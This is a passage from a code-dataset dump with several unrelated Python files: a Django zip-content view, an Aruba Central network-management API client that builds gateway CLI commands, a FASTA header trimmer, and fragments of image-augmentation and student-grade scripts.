imgs]),\n TTF.Lambda(lambda imgs: imgs if random.random() > 0.5 else [img.transpose(Image.FLIP_TOP_BOTTOM) for img in imgs]),\n TTF.Lambda(lambda imgs: [img2tensor(img) for img in imgs]),\n TTF.Lambda(lambda xs: xs if random.random() > 0.5 else [x.permute(0, 2, 1) for x in xs])\n])\n\neval_data_augmentation = TTF.Compose([\n TTF.Lambda(lambda imgs: [img2tensor(img) for img in imgs])\n])\ntest_data_augmentation = TTF.Compose([\n TTF.ToTensor()\n])\n\ndef saveimg(img, savedir, imgname):\n os.makedirs(savedir, exist_ok=True)\n img.save(os.path.join(savedir, imgname))","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"487355542","text":"import datetime\nimport mimetypes\nimport os\nimport re\nimport time\nimport zipfile\n\nfrom django.core.files.storage import default_storage\nfrom django.http import HttpResponse\nfrom django.http import HttpResponseNotFound\nfrom django.http import HttpResponseServerError\nfrom django.http.response import FileResponse\nfrom django.http.response import HttpResponseNotModified\nfrom django.utils.http import http_date\nfrom django.views.decorators.clickjacking import xframe_options_exempt\nfrom django.views.generic.base import View\nfrom le_utils.constants import exercises\nfrom raven.contrib.django.raven_compat.models import client\n\nfrom contentcuration.models import generate_object_storage_name\n\ntry:\n pass\nexcept ImportError:\n pass\n\n\n# valid storage filenames consist of 32-char hex plus a file extension\nVALID_STORAGE_FILENAME = re.compile(\"[0-9a-f]{32}(-data)?\\.[0-9a-z]+\")\n\n# set of file extensions that should be considered zip files and allow access to internal files\nPOSSIBLE_ZIPPED_FILE_EXTENSIONS = set([\".perseus\", \".zip\", \".epub\", \".epub3\"])\n\n\ndef _add_access_control_headers(request, response):\n response[\"Access-Control-Allow-Origin\"] = \"*\"\n response[\"Access-Control-Allow-Methods\"] = \"GET, OPTIONS\"\n requested_headers = request.META.get(\"HTTP_ACCESS_CONTROL_REQUEST_HEADERS\", \"\")\n if requested_headers:\n response[\"Access-Control-Allow-Headers\"] = requested_headers\n\n\n# DISK PATHS\n\nclass ZipContentView(View):\n\n @xframe_options_exempt\n def options(self, request, *args, **kwargs):\n \"\"\"\n Handles OPTIONS requests which may be sent as \"preflight CORS\" requests to check permissions.\n \"\"\"\n response = HttpResponse()\n _add_access_control_headers(request, response)\n return response\n\n @xframe_options_exempt # noqa\n def get(self, request, zipped_filename, embedded_filepath):\n \"\"\"\n Handles GET requests and serves a static file from within the zip file.\n \"\"\"\n if not VALID_STORAGE_FILENAME.match(zipped_filename):\n return HttpResponseNotFound(\"'{}' is not a valid URL for this zip file\".format(zipped_filename))\n\n storage = default_storage\n\n # calculate the local file path to the zip file\n filename, ext = os.path.splitext(zipped_filename)\n zipped_path = generate_object_storage_name(filename, zipped_filename)\n\n # file size\n file_size = 0\n\n # if the zipfile does not exist on disk, return a 404\n if not storage.exists(zipped_path):\n return HttpResponseNotFound('\"%(filename)s\" does not exist in storage' % {'filename': zipped_path})\n\n # if client has a cached version, use that (we can safely assume nothing has changed, due to MD5)\n if request.META.get('HTTP_IF_MODIFIED_SINCE'):\n return HttpResponseNotModified()\n\n zf_obj = storage.open(zipped_path)\n\n try:\n with zipfile.ZipFile(zf_obj) as zf:\n # if no path, or a directory, is being referenced, look for an index.html file\n if not embedded_filepath or embedded_filepath.endswith(\"/\"):\n embedded_filepath += \"index.html\"\n\n # get the details about the embedded file, and ensure it exists\n try:\n info = zf.getinfo(embedded_filepath)\n except KeyError:\n return HttpResponseNotFound('\"{}\" does not exist inside \"{}\"'.format(embedded_filepath, zipped_filename))\n\n # try to guess the MIME type of the embedded file being referenced\n content_type = mimetypes.guess_type(embedded_filepath)[0] or 'application/octet-stream'\n\n if not os.path.splitext(embedded_filepath)[1] == '.json':\n # generate a streaming response object, pulling data from within the zip file\n response = FileResponse(zf.open(info), content_type=content_type)\n file_size = info.file_size\n else:\n # load the stream from json file into memory, replace the path_place_holder.\n content = zf.open(info).read()\n str_to_be_replaced = ('$' + exercises.IMG_PLACEHOLDER).encode()\n zipcontent = ('/' + request.resolver_match.url_name + \"/\" + zipped_filename).encode()\n content_with_path = content.replace(str_to_be_replaced, zipcontent)\n response = HttpResponse(content_with_path, content_type=content_type)\n file_size = len(content_with_path)\n except zipfile.BadZipfile:\n just_downloaded = getattr(zf_obj, 'just_downloaded', \"Unknown (Most likely local file)\")\n client.captureMessage(\"Unable to open zip file. File info: name={}, size={}, mode={}, just_downloaded={}\".format(\n zf_obj.name, zf_obj.size, zf_obj.mode, just_downloaded))\n return HttpResponseServerError(\"Attempt to open zip file failed. Please try again, and if you continue to receive this message, please check that the zip file is valid.\")\n\n # set the last-modified header to the date marked on the embedded file\n if info.date_time:\n response[\"Last-Modified\"] = http_date(time.mktime(datetime.datetime(*info.date_time).timetuple()))\n\n # cache these resources forever; this is safe due to the MD5-naming used on content files\n response[\"Expires\"] = \"Sun, 17-Jan-2038 19:14:07 GMT\"\n\n # set the content-length header to the size of the embedded file\n if file_size:\n response[\"Content-Length\"] = file_size\n\n # ensure the browser knows not to try byte-range requests, as we don't support them here\n response[\"Accept-Ranges\"] = \"none\"\n\n _add_access_control_headers(request, response)\n\n # restrict CSP to only allow resources to be loaded from the Studio host, to prevent info leakage\n # (e.g. via passing user info out as GET parameters to an attacker's server), or inadvertent data usage\n host = request.build_absolute_uri('/').strip(\"/\")\n response[\"Content-Security-Policy\"] = \"default-src 'self' 'unsafe-inline' 'unsafe-eval' data: \" + host\n\n return response\n","sub_path":"contentcuration/contentcuration/views/zip.py","file_name":"zip.py","file_ext":"py","file_size_in_byte":6221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"503935286","text":"# MIT License\n#\n# Copyright (c) 2020 Aruba, a Hewlett Packard Enterprise company\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\n# import getpass\nfrom pycentral.base import ArubaCentralBase\nimport requests\n# import yaml\nimport pprint\n# import os\nimport json\nfrom typing import Union\nimport urllib.parse\nimport csv\nfrom . import MyLogger, Response, config, log\n# Get instance of ArubaCentralBase from the central_filename\n# from pycentral.workflows.workflows_utils import get_conn_from_file\n# from pathlib import Path\n\ntry:\n from . import utils\nexcept ImportError:\n from utils import Utils # type: ignore\n utils = Utils()\n\n\n# _refresh_file = os.path.abspath(os.path.join(os.path.dirname(__file__), \"..\", \"..\", \"config\", \".refresh_token.yaml\"))\n# _refresh_file = Path.joinpath(Path(__file__), \"config\", \".refresh_token.yaml\")\n# _config_file = Path.joinpath(Path(__file__).parent.parent.parent, \"config\", \"config.yaml\")\n# _bulk_edit_file = _config_file.parent.joinpath('bulkedit.csv')\n\n# TODO build own function for this so we can set token_store vs overriding it in cli.py\n# central = get_conn_from_file(filename=config.config_file)\nDEFAULT_TOKEN_STORE = {\n \"type\": \"local\",\n \"path\": f\"{config.dir.joinpath('.cache')}\"\n}\n\n\ndef get_conn_from_file(account_name, logger: MyLogger = log):\n \"\"\"Creates an instance of class`pycentral.ArubaCentralBase` based on the information\n provided in the YAML/JSON file. \\n\n * keyword central_info: A dict containing arguments as accepted by class`pycentral.ArubaCentralBase` \\n\n * keyword ssl_verify: A boolean when set to True, the python client validates Aruba Central's SSL certs. \\n\n * keyword token_store: Optional. Defaults to None. \\n\n\n :param filename: Name of a JSON/YAML file containing the keywords required for class:`pycentral.ArubaCentralBase`\n :type filename: str\n :return: An instance of class:`pycentral.ArubaCentralBase` to make API calls and manage access tokens.\n :rtype: class:`pycentral.ArubaCentralBase`\n \"\"\"\n conn = None\n if account_name not in config.data:\n exit(f\"exiting... {account_name} missing from {config.file}\")\n central_info = config.data[account_name]\n token_store = config.get(\"token_store\", DEFAULT_TOKEN_STORE)\n ssl_verify = config.get(\"ssl_verify\", True)\n\n conn = ArubaCentralBase(central_info=central_info,\n token_store=token_store,\n ssl_verify=ssl_verify,\n logger=logger\n )\n return conn\n\n\nclass CentralApi:\n log = log\n\n # def __init__(self, central: CentralApiAuth = CentralApiAuth()):\n def __init__(self, account_name):\n self.central = get_conn_from_file(account_name)\n # self.headers = {\"authorization\": f\"Bearer {self.central.central_info['token']['access_token']}\"}\n # Temp Refactor to use ArubaBaseClass without changing all my methods\n # self.central.get = self.get\n self.central.get = self.get\n\n # def get(self, url: str, params: dict = {}, data: dict = {},\n # headers: dict = {}, files: dict = {}, retry_api_call: bool = True) -> dict:\n # return self.central.command(\"GET\", apiPath=url, apiData=data, apiParams=params,\n # headers=headers, files=files, retry_api_call=retry_api_call)\n\n def get(self, url, params: dict = None, headers: dict = None):\n \"\"\"Generic GET call\n\n :param vars: Imported variables\n :type vars: Python dict\n :param url: GET call URL\n :type url: String\n :param header: GET call parameters\n :type header: Python dict\n :return: GET call response JSON\n :rtype: Python dict\n \"\"\"\n f_url = self.central.central_info[\"base_url\"] + url\n return Response(self.central.requestUrl, f_url, params=params, headers=headers)\n\n def post(self, url, params: dict = None, payload: dict = None, headers: dict = None, **kwargs) -> Response:\n f_url = self.central.central_info[\"base_url\"] + url\n return Response(self.central.requestUrl, f_url, data=payload, params=params, headers=headers, **kwargs)\n\n # doesn't appear to work. referenced in swagger to get listing of types (New Device Inventory: Get Devices...)\n def get_dev_types(self):\n url = \"/platform/orders/v1/skus?sku_type=all\"\n return self.central.get(url)\n\n def get_ap(self):\n \"\"\"GET call for AP data\n\n :param access_token: Access token from tokens func\n :type access_token: String\n \"\"\"\n url = \"/monitoring/v1/aps\"\n # return self.central.get(url)\n return self.central.get(url)\n\n def get_swarms_by_group(self, group: str):\n url = \"/monitoring/v1/swarms\"\n params = {\"group\": group}\n return self.central.get(url, params=params)\n\n def get_swarm_details(self, swarm_id: str):\n url = f\"/monitoring/v1/swarms/{swarm_id}\"\n return self.central.get(url)\n\n def get_all_clients(self, group: str = None, swarm_id: str = None, label: str = None, ssid: str = None,\n serial: str = None, os_type: str = None, cluster_id: str = None, band: str = None) -> None:\n params = {}\n for k, v in zip([\"group\", \"swarm_id\", \"label\", \"ssid\", \"serial\", \"os_type\", \"cluster_id\", \"band\"],\n [group, swarm_id, label, ssid, serial, os_type, cluster_id, band]\n ):\n if v:\n params[k] = v\n\n # return structure: {'clients': [], 'count': 0}\n resp = self.get_wlan_clients(**params)\n if resp.ok:\n wlan_resp = resp\n resp = self.get_wired_clients(**params)\n if resp.ok:\n resp.output = wlan_resp.output.get(\"clients\") + resp.output.get(\"clients\")\n return resp\n\n def get_wlan_clients(self, group: str = None, swarm_id: str = None, label: str = None, ssid: str = None,\n serial: str = None, os_type: str = None, cluster_id: str = None, band: str = None) -> None:\n params = {}\n for k, v in zip([\"group\", \"swarm_id\", \"label\", \"ssid\", \"serial\", \"os_type\", \"cluster_id\", \"band\"],\n [group, swarm_id, label, ssid, serial, os_type, cluster_id, band]\n ):\n if v:\n params[k] = v\n\n url = \"/monitoring/v1/clients/wireless\"\n return self.central.get(url, params=params)\n\n def get_wired_clients(self, group: str = None, swarm_id: str = None, label: str = None, ssid: str = None,\n serial: str = None, cluster_id: str = None, stack_id: str = None) -> None:\n params = {}\n for k, v in zip([\"group\", \"swarm_id\", \"label\", \"ssid\", \"serial\", \"cluster_id\", \"stack_id\"],\n [group, swarm_id, label, ssid, serial, cluster_id, stack_id]\n ):\n if v:\n params[k] = v\n\n url = \"/monitoring/v1/clients/wired\"\n return self.central.get(url, params=params)\n\n def get_client_details(self, mac: str):\n url = f\"/monitoring/v1/clients/wired/{urllib.parse.quote(mac)}\"\n return self.central.get(url)\n\n def get_certificates(self):\n url = \"/configuration/v1/certificates\"\n params = {\"limit\": 20, \"offset\": 0}\n return self.central.get(url, params=params)\n\n def get_template(self, group, template):\n url = f\"/configuration/v1/groups/{group}/templates/{template}\"\n return self.central.get(url)\n\n def get_all_groups(self): # DONE\n url = \"/configuration/v2/groups?limit=20&offset=0\"\n params = {\"limit\": 20, \"offset\": 0}\n return self.central.get(url, params=params)\n\n def get_sku_types(self):\n url = \"/platform/orders/v1/skus\"\n params = {\"sku_type\": \"all\"}\n return self.central.get(url, params=params)\n\n def get_dev_by_type(self, dev_type: str):\n url = \"/platform/device_inventory/v1/devices\"\n if dev_type.lower() in [\"aps\", \"ap\"]:\n dev_type = \"iap\"\n params = {\"sku_type\": dev_type}\n return self.central.get(url, params=params)\n\n def get_variablised_template(self, serialnum: str) -> Response:\n url = f\"/configuration/v1/devices/{serialnum}/variablised_template\"\n return self.central.get(url)\n\n def get_variables(self, serialnum: str = None):\n if serialnum:\n url = f\"/configuration/v1/devices/{serialnum}/template_variables\"\n params = {}\n else:\n url = \"/configuration/v1/devices/template_variables\"\n params = {\"limit\": 20, \"offset\": 0}\n # TODO generator for returns > 20 devices\n return self.central.get(url, params=params)\n\n # TODO self.central.patch\n def update_variables(self, serialnum: str, var_dict: dict):\n url = f\"/configuration/v1/devices/{serialnum}/template_variables\"\n header = {\n \"authorization\": f\"Bearer {self.central.access_token}\",\n \"Content-type\": \"application/json\"\n }\n var_dict = json.dumps(var_dict)\n resp = requests.patch(self.central.vars[\"base_url\"] + url, data=var_dict, headers=header)\n return(resp.ok)\n\n def get_devices(self, dev_type: str, group: str = None, label: str = None, stack_id: str = None,\n status: str = None, fields: list = None, show_stats: bool = False, calc_clients: bool = False,\n pub_ip: str = None, limit: int = None, offset: int = None, sort: str = None):\n _strip = [\"self\", \"dev_type\", \"url\", \"_strip\"]\n params = {k: v for k, v in locals().items() if k not in _strip and v}\n url = f\"/monitoring/v1/{dev_type}\"\n return self.central.get(url, params=params)\n\n def get_ssids_by_group(self, group):\n url = \"/monitoring/v1/networks\"\n params = {\"group\": group}\n return self.central.get(url, params=params)\n\n def get_gateways_by_group(self, group):\n url = \"/monitoring/v1/mobility_controllers\"\n params = {\"group\": group}\n return self.central.get(url, params=params)\n\n def get_group_for_dev_by_serial(self, serial_num):\n return self.central.get(f\"/configuration/v1/devices/{serial_num}/group\")\n\n def get_dhcp_client_info_by_gw(self, serial_num):\n url = f\"/monitoring/v1/mobility_controllers/{serial_num}/dhcp_clients\"\n params = {\"reservation\": False}\n return self.central.get(url, params=params)\n\n def get_vlan_info_by_gw(self, serial_num):\n return self.central.get(f\"/monitoring/v1/mobility_controllers/{serial_num}/vlan\")\n\n def get_uplink_info_by_gw(self, serial_num, timerange: str = \"3H\"):\n url = f\"/monitoring/v1/mobility_controllers/{serial_num}/uplinks\"\n params = {\"timerange\": timerange}\n return self.central.get(url, params)\n\n def get_uplink_tunnel_stats_by_gw(self, serial_num):\n url = f\"/monitoring/v1/mobility_controllers/{serial_num}/uplinks/tunnel_stats\"\n return self.central.get(url)\n\n def get_uplink_state_by_group(self, group):\n url = f\"/monitoring/v1/mobility_controllers/uplinks/distribution?group={group}\"\n return self.central.get(url)\n\n def get_all_sites(self):\n return self.central.get(\"/central/v2/sites\")\n\n def get_site_details(self, site_id):\n return self.central.get(f\"/central/v2/sites/{site_id}\")\n\n def get_events_by_group(self, group):\n url = f\"/monitoring/v1/events?group={group}\"\n params = {\"group\": group}\n return self.central.get(url, params=params)\n\n def bounce_poe(self, serial_num: str, port: Union[str, int]) -> Response:\n url = f\"/device_management/v1/device/{serial_num}/action/bounce_poe_port/port/{port}\"\n return self.central.post(url)\n\n def kick_users(self, serial_num, kick_all=False, mac=None, ssid=None):\n url = f\"/device_management/v1/device/{serial_num}/action/disconnect_user\"\n header = {\n \"authorization\": f\"Bearer {self.access_token}\",\n \"Content-type\": \"application/json\"\n }\n if kick_all:\n payload = {\"disconnect_user_all\": True}\n elif mac:\n payload = {\"disconnect_user_mac\": f\"{mac}\"}\n elif ssid:\n payload = {\"disconnect_user_network\": f\"{ssid}\"}\n else:\n payload = {}\n\n if payload:\n resp = requests.post(self.central.vars[\"base_url\"] + url, headers=header, json=payload)\n pprint.pprint(resp.json())\n else:\n print(\"Missing Required Parameters\")\n\n def get_task_status(self, task_id):\n return self.central.get(f\"/device_management/v1/status/{task_id}\")\n\n def add_dev(self, mac: str, serial_num: str):\n \"\"\"\n {'code': 'ATHENA_ERROR_NO_DEVICE',\n 'extra': {'error_code': 'ATHENA_ERROR_NO_DEVICE',\n 'message': {'available_device': [],\n 'blocked_device': [],\n 'invalid_device': [{'mac': '20:4C:03:26:28:4c',\n 'serial': 'CNF7JSP0N0',\n 'status': 'ATHENA_ERROR_DEVICE_ALREADY_EXIST'}]}},\n 'message': 'Bad Request'}\n \"\"\"\n url = \"/platform/device_inventory/v1/devices\"\n payload = [\n {\n \"mac\": mac,\n \"serial\": serial_num\n }\n ]\n header = {\n \"authorization\": f\"Bearer {self.central.access_token}\",\n \"Content-type\": \"application/json\"\n }\n\n resp = requests.post(self.central.vars[\"base_url\"] + url, headers=header, json=payload)\n pprint.pprint(resp.json())\n\n def verify_add_dev(self, mac: str, serial_num: str):\n \"\"\"\n {\n 'available_device': [],\n 'blocked_device': [],\n 'invalid_device': [\n {\n 'mac': '20:4C:03:26:28:4c',\n 'serial': 'CNF7JSP0N0',\n 'status': 'ATHENA_ERROR_DEVICE_ALREADY_EXIST'\n }\n ]\n }\n \"\"\"\n url = \"/platform/device_inventory/v1/devices/verify\"\n payload = [\n {\n \"mac\": mac,\n \"serial\": serial_num\n }\n ]\n header = {\n \"authorization\": f\"Bearer {self.central.access_token}\",\n \"Content-type\": \"application/json\"\n }\n\n resp = requests.post(self.central.vars[\"base_url\"] + url, headers=header, json=payload)\n pprint.pprint(resp.json())\n\n def move_dev_to_group(self, group: str, serial_num: Union[str, list]):\n url = \"/configuration/v1/devices/move\"\n if not isinstance(serial_num, list):\n serial_num = [serial_num]\n payload = {\n \"group\": group,\n \"serials\": serial_num\n }\n header = {\n \"authorization\": f\"Bearer {self.central.access_token}\",\n \"Content-type\": \"application/json\"\n }\n\n resp = requests.post(self.central.vars[\"base_url\"] + url, headers=header, json=payload)\n return resp.ok\n\n def caasapi(self, group_dev: str, cli_cmds: list = None):\n cfg_dict = self.central.central_info\n tok_dict = cfg_dict[\"token\"]\n if \":\" in group_dev and len(group_dev) == 17:\n key = \"node_name\"\n else:\n key = \"group_name\"\n\n url = \"/caasapi/v1/exec/cmd\"\n\n params = {\n \"cid\": cfg_dict[\"customer_id\"],\n key: group_dev\n }\n\n headers = {\n \"authorization\": f\"{tok_dict.get('token_type', 'Bearer')} {tok_dict['access_token']}\",\n \"Content-type\": \"application/json\"\n }\n\n payload = {\"cli_cmds\": cli_cmds or []}\n\n f_url = self.central.central_info[\"base_url\"] + url\n return Response(requests.post, f_url, params=params, json=payload, headers=headers)\n\n # return requests.post(self.central.vars[\"base_url\"] + url, params=params, headers=header, json=payload)\n # TODO use my resp generator\n\n\n# t = CentralApi()\n# t.get_ap()\n# t.get_swarms_by_group(\"Branch1\")\n# t.get_swarm_details(\"fbe90101014332bf0dabfa5d2cf4ae7a0917a04127f864e047\")\n# t.get_wlan_clients(group=\"Branch1\")\n# t.get_wired_clients()\n# t.get_wired_clients(group=\"Branch1\")\n# t.get_client_details(\"20:4c:03:30:4c:4c\")\n# t.get_certificates()\n# t.get_template(\"WadeLab\", \"2930F-8\")\n# t.get_all_groups()\n# t.get_dev_by_type(\"iap\")\n# t.get_dev_by_type(\"switch\")\n# t.get_dev_by_type(\"gateway\")\n# t.get_variablised_template(\"CN71HKZ1CL\")\n# t.get_ssids_by_group(\"Branch1\")\n# t.get_gateways_by_group(\"Branch1\")\n# t.get_group_for_dev_by_serial(\"CNHPKLB030\")\n# t.get_dhcp_client_info_by_gw(\"CNF7JSP0N0\")\n# t.get_vlan_info_by_gw(\"CNHPKLB030\")\n# t.get_uplink_info_by_gw(\"CNF7JSP0N0\")\n# t.get_uplink_tunnel_stats_by_gw(\"CNF7JSP0N0\")\n# t.get_uplink_state_by_group(\"Branch1\")\n# t.get_all_sites()\n# t.get_site_details(10)\n# t.get_events_by_group(\"Branch1\")\n# t.bounce_poe(\"CN71HKZ1CL\", 2)\n# t.kick_users(\"CNC7J0T0GK\", kick_all=True)\n# t.get_task_status(15983230525575)\n# group_dev = \"Branch1/20:4C:03:26:28:4C\"\n# cli_cmds = [\"netdestination delme\", \"host 1.2.3.4\", \"!\"]\n# t.caasapi(group_dev, cli_cmds)\n# mac = \"20:4C:03:81:E8:FA\"\n# serial_num = \"CNHPKLB030\"\n# t.add_dev(mac, serial_num)\n# t.verify_add_dev(mac, serial_num)\n# t.move_dev_to_group(\"Branch1\", serial_num)\n\n\nclass BuildCLI:\n def __init__(self, data: dict = None, session=None, filename: str = None):\n filename = filename or config.bulk_edit_file\n\n self.session = session\n self.dev_info = None\n if data:\n self.data = data\n else:\n self.data = self.get_bulkedit_data(filename)\n self.cmds = []\n self.build_cmds()\n\n @staticmethod\n def get_bulkedit_data(filename: str):\n cli_data = {}\n _common = {}\n _vlans = []\n _mac = \"error\"\n _exclude_start = ''\n with open(filename) as csv_file:\n csv_reader = csv.reader([line for line in csv_file.readlines() if not line.startswith('#')])\n\n csv_rows = [r for r in csv_reader]\n\n for data_row in csv_rows[1:]:\n vlan_data = {}\n for k, v in zip(csv_rows[0], data_row):\n k = k.strip().lower().replace(' ', '_')\n # print(f\"{k}: {v}\")\n if k == \"mac_address\":\n _mac = v\n cli_data[v] = {}\n elif k in [\"group\", \"model\", \"hostname\", \"bg_peer_ip\", \"controller_vlan\",\n \"zs_site_to_site_map_name\", \"source_fqdn\"]:\n _common[k] = v\n elif k.startswith((\"vlan\", \"dhcp\", \"domain\", \"dns\", \"vrrp\", \"access_port\", \"ppoe\")):\n if k == \"vlan_id\":\n if vlan_data:\n _vlans.append(vlan_data)\n vlan_data = {k: v}\n elif k.startswith(\"dns_server_\"):\n vlan_data[\"dns_servers\"] = [v] if \"dns_servers\" not in vlan_data else \\\n [*vlan_data[\"dns_servers\"], *[v]]\n elif k.startswith(\"dhcp_default_router\"):\n vlan_data[\"dhcp_def_gws\"] = [v] if \"dhcp_def_gws\" not in vlan_data else \\\n [*vlan_data[\"dhcp_def_gws\"], *[v]]\n elif k.startswith(\"dhcp_exclude_start\"):\n _exclude_start = v\n elif k.startswith(\"dhcp_exclude_end\"):\n if _exclude_start:\n _line = f\"ip dhcp exclude-address {_exclude_start} {v}\"\n vlan_data[\"dhcp_excludes\"] = [_line] if \"dhcp_excludes\" not in vlan_data else \\\n [*vlan_data[\"dhcp_excludes\"], *[_line]]\n _exclude_start, _line = '', ''\n else:\n print(f\"Validation Error DHCP Exclude End with no preceding start ({v})... Ignoring\")\n else:\n vlan_data[k] = v\n\n _vlans.append(vlan_data)\n cli_data[_mac] = {\"_common\": _common, \"vlans\": _vlans}\n\n return cli_data\n\n def build_cmds(self):\n for dev in self.data:\n common = self.data[dev][\"_common\"]\n vlans = self.data[dev][\"vlans\"]\n _pretty_name = common.get('hostname', dev)\n print(f\"Verifying {_pretty_name} is in Group {common['group']}...\", end='')\n # group_devs = self.session.get_gateways_by_group(self.data[dev][\"_common\"][\"group\"])\n gateways = self.session.get_dev_by_type(\"gateway\")\n self.dev_info = [_dev for _dev in gateways if _dev.get('macaddr', '').lower() == dev.lower()]\n if self.dev_info:\n self.dev_info = self.dev_info[0]\n if common[\"group\"] == self.session.get_group_for_dev_by_serial(self.dev_info[\"serial\"]):\n print(' Confirmed', end='\\n')\n else:\n print(\" it is *Not*\", end=\"\\n\")\n print(f\"Moving {_pretty_name} to Group {common['group']}\")\n res = self.session.move_dev_to_group(common[\"group\"], self.dev_info[\"serial\"])\n if not res:\n print(f\"Error Returned Moving {common['hostname']} to Group {common['group']}\")\n\n print(f\"Building cmds for {_pretty_name}\")\n if common.get(\"hostname\"):\n self.cmds += [f\"hostname {common['hostname']}\", \"!\"]\n\n for v in vlans:\n self.cmds += [f\"vlan {v['vlan_id']}\", \"!\"]\n if v.get(\"vlan_ip\"):\n if not v.get(\"vlan_subnet\"):\n print(f\"Validation Error No subnet mask for VLAN {v['vlan_id']} \")\n # TODO handle the error\n self.cmds += [f\"interface vlan {v['vlan_id']}\", f\"ip address {v['vlan_ip']} {v['vlan_subnet']}\"]\n # TODO should VLAN description also be vlan name - check what bulk edit does\n if v.get(\"vlan_interface_description\"):\n self.cmds.append(f\"description {v['vlan_interface_description']}\")\n if v.get(\"vlan_helper_addr\"):\n self.cmds.append(f\"ip helper-address {v['vlan_helper_addr']}\")\n if v.get(\"vlan_interface_operstate\"):\n self.cmds.append(f\"operstate {v['vlan_interface_operstate']}\")\n self.cmds.append(\"!\")\n\n if v.get(\"pppoe_username\"):\n print(\"Warning PPPoE not supported by this tool yet\")\n\n if v.get(\"access_port\"):\n if \"thernet\" not in v[\"access_port\"] and not v[\"access_port\"].startswith(\"g\"):\n _line = f\"interface gigabitethernet {v['access_port']}\"\n else:\n _line = f\"interface {v['access_port']}\"\n self.cmds += [_line, f\"switchport access vlan {v['vlan_id']}\", \"!\"]\n\n if v.get(\"dhcp_pool_name\"):\n self.cmds.append(f\"ip dhcp pool {v['dhcp_pool_name']}\")\n if v.get(\"dhcp_def_gws\"):\n for gw in v[\"dhcp_def_gws\"]:\n self.cmds.append(f\"default-router {gw}\")\n if v.get(\"dns_servers\"):\n self.cmds.append(f\"dns-server {' '.join(v['dns_servers'])}\")\n if v.get(\"domain_name\"):\n self.cmds.append(f\"domain-name {v['domain_name']}\")\n if v.get(\"dhcp_network\"):\n if v.get(\"dhcp_mask\"):\n self.cmds.append(f\"network {v['dhcp_network']} {v['dhcp_mask']}\")\n elif v.get(\"dhcp_network_prefix\"):\n self.cmds.append(f\"network {v['dhcp_network']} /{v['dhcp_network_prefix']}\")\n self.cmds.append(\"!\")\n\n if v.get(\"dhcp_excludes\"):\n # dhcp exclude lines are fully formatted as data is collected\n for _line in v[\"dhcp_excludes\"]:\n self.cmds.append(_line)\n\n if v.get(\"vrrp_id\"):\n if v.get(\"vrrp_ip\"):\n self.cmds += [f\"vrrp {v['vrrp_id']}\", f\"ip address {v['vrrp_ip']}\", f\"vlan {v['vlan_id']}\"]\n if v.get(\"vrrp_priority\"):\n self.cmds.append(f\"priority {v['vrrp_priority']}\")\n self.cmds += [\"no shutdown\", \"!\"]\n else:\n print(f\"Validation Error VRRP ID {v['vrrp_id']} VLAN {v['vlan_id']} No VRRP IP provided... Skipped\")\n\n if v.get(\"bg_peer_ip\"):\n # _as = self.session.get_bgp_as()\n # self.cmds.append(f\"router bgp neighbor {v['bg_peer_ip']} as {_as}\")\n print(\"bgp peer ip Not Supported by Script yet\")\n\n if v.get(\"zs_site_to_site_map_name\") or v.get(\"source_fqdn\"):\n print(\"Zscaler Configuration Not Supported by Script Yet\")\n\n\nif __name__ == \"__main__\":\n cli = BuildCLI(session=CentralApi())\n for c in cli.cmds:\n print(c)\n","sub_path":"lib/centralCLI/central.py","file_name":"central.py","file_ext":"py","file_size_in_byte":26766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"592343771","text":"inputPath = 'c:\\Programing\\Python\\sequences.fasta'\noutputPath = 'c:\\Programing\\Python\\sequencesR.fasta'\n\nprefixToDelete = 'A00721:127:HW5KYDSXX:4:'\nsuffixToDelete = '_1:N:0:GGTCTGGT+AAGGCCGT'\n\nwith open(inputPath, 'r') as inputFile, open(outputPath, 'w') as outputFile:\n line = inputFile.readline()\n while line:\n\n if line[0] == '>':\n leftIndex = line.find(prefixToDelete) + len(prefixToDelete)\n rightIndex = len(line) - line.find(suffixToDelete)\n\n if leftIndex > 0 and len(prefixToDelete) > 0:\n line = line[leftIndex:]\n if rightIndex > 0 and len(suffixToDelete) > 0:\n line = line[:-rightIndex]\n line = '>' + line + '\\n'\n\n outputFile.write(line)\n line = inputFile.readline()\n","sub_path":"Misc. programs/shortenFastaName.py","file_name":"shortenFastaName.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"541700611","text":"from view.input_nilai import input_data\ndata = {}\n\ndef tambah_data():\n d = input_data()\n data[d['nama']]=d\n\ndef ubah_data():\n nama = input(\"Masukan nama untuk mengubah data: \")\n if nama in data.keys():\n print(\"Masukan Data yang diubah :\")\n ubah = input(\"(Semua), (Nama), (NIM), \"\n \"(Tugas), (UTS), (UAS) : \")\n if ubah.lower() == \"semua\":\n print(\"_______________________\")\n print(\"Ubah Data {}\".format(nama))\n print(\"-----------------------\")\n data[nama]['nim'] = input(\"Ubah NIM : \")\n data[nama]['tugas'] = int(input(\"Ubah Nilai Tugas: \"))\n data[nama]['uas'] = int(input(\"Ubah Nilai UAS : \"))\n data[nama]['uts'] = int(input(\"Ubah Nilai UTS : \"))\n elif ubah.lower() == \"nim\":\n data[nama]['nim'] = input(\"Ubah Nim : \")\n elif ubah.lower() == \"tugas\":\n data[nama]['tugas'] = 